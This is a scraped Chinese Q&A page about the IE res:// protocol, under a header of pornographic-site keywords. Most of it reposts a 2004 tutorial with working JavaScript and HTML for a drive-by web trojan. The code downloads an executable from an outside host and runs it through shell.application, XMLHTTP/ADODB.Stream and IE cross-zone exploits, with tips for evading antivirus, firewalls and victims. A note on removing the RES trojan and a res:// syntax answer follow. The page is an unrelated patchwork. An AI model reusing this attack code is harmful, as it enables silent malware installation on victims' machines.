日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Res协议,专题

發布時間:2023/12/10 编程问答 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Res协议,专题 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
打造完美的IE網頁木馬 發表:2004-5-20 19:41:00 出處:你的博客網(yourblog.org)

打造完美的IE網頁木馬 icyfox????

??(測試頁面:http://www.godog.y365.com/runexe/icyfox.htm,此處所運行的程序不是木馬!)

  既然要打造完美的IE網頁木馬,首先就必須給我們的完美制定一個標準,我個人認為一個完美的IE網頁木馬至少應具備下列四項特征:
  一:可以躲過殺毒軟件的追殺;
  二:可以避開網絡防火墻的報警;
  三:能夠適用于多數的WINDOWS操作系統(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多數IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP補丁;
  四:讓瀏覽者不容易發覺IE變化,即可以悄無聲息,從而可以長久不被發現。
  (注意以上四點只是指網頁本身而言,但不包括你的木馬程序,也就是說我們的網頁木馬只是負責運行指定的木馬程序,至于你的木馬程序的好壞只有你自己去選擇啦!別找我要,我不會寫的哦!)
  滿足以上四點我想才可以讓你的馬兒更青春更長久,跑的更歡更快……
  看了上面的幾點你是不是心動拉?別急,我們還是先侃侃現有的各種IE網頁木馬的不足吧!
  第一種:利用古老的MIME漏洞的IE網頁木馬
  這種木馬現在還在流行,但因為此漏洞太過古老且適用的IE版本較少,而當時影響又太大,補丁差不多都補上啦,因此這種木馬的種植成功率比較低。
  第二種:利用com.ms.activeX.ActiveXComponent漏洞,結合WSH及FSO控件的IE網頁木馬
  雖然com.ms.activeX.ActiveXComponent漏洞廣泛存在于多數IE版本中,是一個比較好的漏洞,利用價值非常高,但卻因為它結合了流行的病毒調用的WSH及FSO控件,使其雖說可以避開網絡防火墻的報警,可逃不脫殺毒軟件的追捕(如諾頓)。
  第三種:利用OBJECT對象類型確認漏洞(Object Data Remote)并結合WSH及FSO控件的IE網頁木馬(典型的代表有動鯊網頁木馬生成器)
  此種木馬最大的優點是適應的IE版本多,且漏洞較新,但卻有如下不足:
  1、因為此漏洞要調用Mshta.exe來訪問網絡下載木馬程序,所以會引起防火墻報警(如天網防火墻);
  2、如果此IE網頁木馬又利用了WSH及FSO控件,同樣逃不脫殺毒軟件的追捕(如諾頓),而
動鯊網頁木馬又恰恰使用了WSH及FSO控件,嘆口氣……可惜呀……?
  3、再有就是這個漏洞需要網頁服務器支持動態網頁如ASP、JSP、CGI等,這就影響了它的發揮,畢竟現在的免費穩定的動態網頁空間是少之又少;雖說此漏洞也可利用郵件MIME的形式(見我在安全焦點上發表的文章:《由錯誤MIME漏洞的利用想到的......---IE Object Data 數據遠程執行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)來利用,但經測試發現對IE6.0不起作用。
  看到上面的分析你是不是有了這種感覺:千軍易得,一將難求,馬兒成群,奈何千里馬難尋!別急,下面讓我帶這大家一起打造我心中的完美IE網頁木馬。
  首先要躲過殺毒軟件的追殺,我們就不能利用WSH和FSO控件,因為只要利用了WSH和FSO控件就一定逃不脫“諾頓”的追殺,這可叫我們該如何是好?!別急,經過我的努力工作(說真的我也是在研究ASP木馬時偶然發現的靈感)終于我有找到了一個可以用的控件,那就是 shell.application,并且它可是經過了安全認證的,可以在“我的電腦”域中的網頁中暢通無阻的執行,比WSH和FSO更容易得到執行權限(利用跨域漏洞即可),請看下面javascript代碼:
<SCRIPT LANGUAGE="javascript" type="text/javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c://Windows//").items().item("Notepad.exe").invokeverb();
</SCRIPT>
保存為test.htm后打開看是否自動打開了記事本程序,而且不會象WSH和FSO那樣出現是否允許運行的提示框,是不是有點興趣啦?現在我們已可以運行所有已知路徑的程序,但我們要求運行我們自己的木馬程序,所以還要求把我們的木馬程序下載到瀏覽者的電腦上并找出它的位置。我們一個個來解決:
  1、下載木馬程序到瀏覽者的電腦中
  這一點可以有很多解決方法,比如我以前提到的WINDOWS幫助文件訪問協議下載任意文件漏洞(its:),不過這次我們不用它,再教大家兩個更好的下載方法:
  例一:利用SCRIPT標簽,代碼如下:
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
注意此處的LANGUAGE屬性可以為除javascript、VBScript、JScript以外的字符串,也可以是漢字,至于src的屬性當然是你的木馬程序的地址啦!因為現在免費空間出于安全考慮,多數不允許上傳exe文件,我們可以變通一下把擴展名exe改為bat或pif、scr、com,同樣可以運行。
  例二:利用LINK標簽,代碼如下:
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>
把代碼放在標簽<HEAD></HEAD>中間,href屬性值為木馬程序的地址。
上面兩個是我所知的最好的兩種下載木馬程序的方法,它們下載后的程序都保存在在IE臨時目錄Temporary Internet Files目錄下的子目錄中。
  2、找出已下載到瀏覽者的腦中的木馬程序路徑
  我們可以利用shell.application控件的一些屬性和方法,并結合js的錯誤處理try{}catch(e){}finally{}語句,進行遞歸調用來找到木馬程序的路徑,代碼如下:

function icyfoxlovelace(){
//得到WINDOWS系統目錄和系統盤
url=document.location.href;
xtmu=url.substring(6,url.indexOf(’//’,9)+1);
xtp=url.substr(6,3);

var shell=new ActiveXObject("shell.application");
var runbz=1;

//此處設置木馬程序的大小,以字節為單位
//請把198201改為你的木馬程序的實際大小
var exeSize=198201;

//設置木馬程序名及擴展名(exe,com,bat,pif,scr),用于判斷是否是所下載的木馬程序
//請把下面兩行中的icyfox改為你的木馬程序名,bat改為你的木馬程序的擴展名
var a=/icyfox/[/d*/]/.bat/gi;
a.compile("icyfox//[//d*//]//.bat","gi");

var b=/[A-Za-z]:///gi;
b.compile("[A-Za-z]:","gi");//正則表達式,用于判斷是否是盤的根目錄

//下面的代碼查找并運行木馬程序
wjj(xtmu+"Temporary Internet Files//");//Content.IE5/if(runbz)wjj(xtp+"Documents and Settings//");
if(runbz)yp();

//在所有硬盤分區下查找并運行木馬程序
function yp(){
try{
var c=new Enumerator(shell.namespace("c://").ParentFolder.Items());
for (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else break;
}
}catch(e){}
}

//利用遞歸在指定目錄(包括子目錄)下查找并運行木馬程序
function wjj(b){
try{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext()){
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){
var f=c.item().path;
var v=f.lastIndexOf(’//’)+1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//運行木馬程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path+"//");//如果是子目錄則遞歸調用
}
}catch(e){}
}


}

icyfoxlovelace();

請把以上代碼保存為icyfox.js。

  接下來我們就要利用一個小小跨域執行漏洞,來獲得“我的電腦”域的網頁權限,大家以前是不是和我一樣覺得這種漏洞僅僅只能用來進行跨站腳本攻擊,得到COOKIE之類的東東呢?這次它終于可以露臉啦!代碼如下:

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子網絡技術實驗室的完美IE網頁木馬</TITLE>
</HEAD>
<BODY οncοntextmenu="return false" onselectstart="return false" scroll="no" topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此處設置上面icyfox.js文件的網絡地址
//請把http://www.godog.y365.com/wodemuma/icyfox.js改為你的icyfox.js文件實際上傳地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(g,’//’);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0利用iframe標簽,src屬性設為icyfox://則會使此標簽具備“我的電腦”域的權限,原因是因為icyfox://是不存在的協議,所以會IE會利用res://協議打開SHDOCLC.DLL中的語法錯誤頁syntax.htm,而且SHDOCLC.DLL又位于系統目錄中,為在 icyfox.js中得到WINDOWS系統目錄和系統盤提供數據;*/
document.write("<iframe style=’display:none;’ name=’icyfoxlovelace’ src=’icyfox://’><//iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5、 IE6.0則利用_search漏洞,把打開的地址設為icyfox://,從而使_search搜索框具備“我的電腦”域的權限,因為在IE6.0中無法用上面的iframe漏洞,IE5.5應該可以用,我沒有測試。這樣做的結果會打開搜索欄,有點遺憾!*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}

//下面利用file:javascript:協議漏洞在已是我的電腦”域的權限的“icyfox://”中插入icyfox.js腳本并運行
function muma0(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","icyfoxlovelace");
}

function muma1(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src=’*.*’></iframe></NOSCRIPT>
</HTML>

把上面的代碼保存為icyfox.htm,如果你愿意可以把擴展名改為jpg并在網頁中加入一個精美的圖片背景,來做一個圖片木馬,甚至你可以改為 exe,來冒充一個好的程序的下載地址,并在網頁的<HEAD></HEAD>中加入標簽<meta http-equiv="refresh" content="5;url=’http://www.godog.y365.com/winrar.exe’">來定時轉到另一個真正的程序下載地址,從而更好的欺騙別人。

  看到上面的東東是不是讓你有了馬上去實驗的沖動,別急,如果你覺得win98沒必要控制的話,還有更好的木馬等著你,不知大家是否用過 win2000、winxp等系統中默認安裝的ADODB.Stream及Microsoft.XMLHTTP控件?它們可是和 shell.application控件一樣是經過了安全認證的,可以在“我的電腦”域中的網頁中暢通無阻執行的好東西呀!請看下面的代碼:

function icyfox(){
//設置下載后保存在系統目錄下的木馬程序名,我設的是不是很象Explorer.exe呀?呵呵
var name="Explroer.exe";
//設置你要下載的木馬程序的地址(此處你可以把擴展名任意改,甚至沒有擴展名也可以的)
//可以更好的躲過免費主頁空間的上傳限制
var url="http://www.godog.y365.com/wodemuma/icyfox.bat";
try{
var folder=document.location.href;
folder=folder.substring(6,folder.indexOf(’//’,9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML(’AfterBegin’,’<OBJECT style="display:none;" TYPE="application/x-oleobject" CODEBASE="’+folder+’"></OBJECT>’);
}
catch(e){}

}

icyfox();

把上面的的代碼保存為icyfox.js替換上面保存的icyfox.js文件,同樣利用上面的icyfox.htm來注入到“我的電腦”域中,呵呵你就偷這樂吧!
  最后還請大家發揮以下DIY的能力把上面兩種代碼合二為一,我相信一個現階段最最完美的IE網頁木馬就會在你手中誕生啦!是不是神不知鬼不覺?
提示代碼如下:
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}

呵呵……很晚啦,我要睡覺去啦,886

從修復about:blank默認頁面到RES病毒的查殺

有些朋友經常抱怨,自己把IE的主頁設置為了about:blank還是進入別的站點。我們應該怎樣面對這種煩人的現象呢?
???? 首先我們要先看一下設置為about:blank后打開IE系統是怎樣工作的。
???? IE會進入一個空白頁面,其實這個頁面其實是指向了一個地址,默認是res://mshtml.dll/blank.htm?
???? 這個地址是可以修改的,其修改地址就在注冊表中相應注冊鍵是
???? HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/AboutURLs
???? 進去看看吧,把他修改回默認的值或者你喜歡的網頁都可以。

???? 這種情況下往往是由于RES協議造成的。說到RES就不得不提一下RES病毒。最近網上在流傳殺不干凈得木馬吧
?
???? 這些也就是一些殺毒軟件殺不完全病毒造成的,用殺毒軟件殺毒后,過不了多久就會繼續中標。此類木馬利用了RES協議的漏洞,手段很隱蔽。

???? 下面我們看一下RES木馬的原理。我們在用IE瀏覽網頁的時候,系統會調用shdoclc.dll中的資源,windows系統規定在載入dll文件的時候,如果dll文件含有dllmain函數就對它進行初始化,但是正常的shdoclc.dll文件是沒有dllmain函數的,他只是包含了各種資源而已。RES木馬包含的dllmain函數,利用這一點,我們就會在瀏覽網頁的時候自動中招。

??? 我們了解了RES木馬原理后,我們便可以把系統的RES給找出來了。原shdoclc.dll文件沒有任何執行代碼,其函數輸出表應該為空,但是木馬就會調用系統的API函數。我們根據這點來查出系統的RES內鬼。

??? 我們要使用的工具是DEPENDENCY WALKER來查看其API輸出表即可。
??? 運行解壓后的文件,使用"FLIE-OPEN"打開shdoclc.dll文件
??? 【默認地址在:c:/windows/sysytm32/shdoclc.dll】
??? 查看左面的函數輸出表如果為空表明你沒有中這種毒。

??? 如果已經中標了,重啟到安全模式,用sfc命令恢復即可,或者從別人機器拷貝一個也可以。 RES協議


編號:QA000673
建立日期: 1999年3月22日 最后修改日期:1999年3月22日
所屬類別:

C/C++ - Internet編程

Ding:
????據微軟公司說IE4的URL支持RES協議,具體的語法為:"res://resource file[/resourcetype]/resource id" ,我試過
????"res://c:/windows/system/shdocvw.dll/navcancl.htm",沒問題;但如自己用VC作個DLL, 就怎么也不行,不知何故?

回答:

????由于你沒有說你是如何制作DLL和調用你自己的DLL的。這里只好詳細地介紹一下res://協議的詳細用法。Res://協議是IE 4.0預定義的一個協議,它的基本語法正如你所說的。其中resource file指的是含有資源的模塊的文件名,請注意這里的路徑分隔符只能使用“/”,而不能使用“/”。 Resourcetype是資源類型,它是一個字符串或數字。常用的資源類型都對應著一個數,比如BITMAP對應著RT_BITMAP=2,這些常數定義在VC++的WINUSER.H可以找到,如果資源類型是數字,要在數字前面加上“#”號。Resourcetype可以省略,默認為RT_HTML=23,即HTML文件。RT_HTML在VC++ 5.0中沒有定義,但現在已經廣泛使用。 Resource id表示資源的ID號。在這里要注意一個問題:在VC++中定義資源的時候,通常是使用數字常量,比如ID_BITMAP1,它代表的數字可能是101。而在使用res://協議時,不能使用ID_BITMAP1(在DLL中并沒有這個符號),而必須使用#101來代表資源。例如要顯示一個位圖資源,其ID號為101,應為res://mydll.dll/#2/#101。
????如果在VC++制作的DLL中加入HTML資源文件,可以這樣做:選擇Import資源,然后選擇一個HTML文件,當VC++提示資源類型時輸入23(下圖)。然后修改該屬性的ID,例如"MYHTML.HTM"。這里的引號是必須輸入的,如果不輸入引號,VC++會指定一個數字給這個資源,調用的方法會有所不同。這樣你可以使用res://mydll.dll/myhtml.htm來調用這個HTML文件。HTML文件中包含的圖形文件也應該以這種方式插入。
????

???????????

再分享一下我老師大神的人工智能教程吧。零基礎!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們人工智能的隊伍中來!https://blog.csdn.net/jiangjunshow

總結

以上是生活随笔為你收集整理的Res协议,专题的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。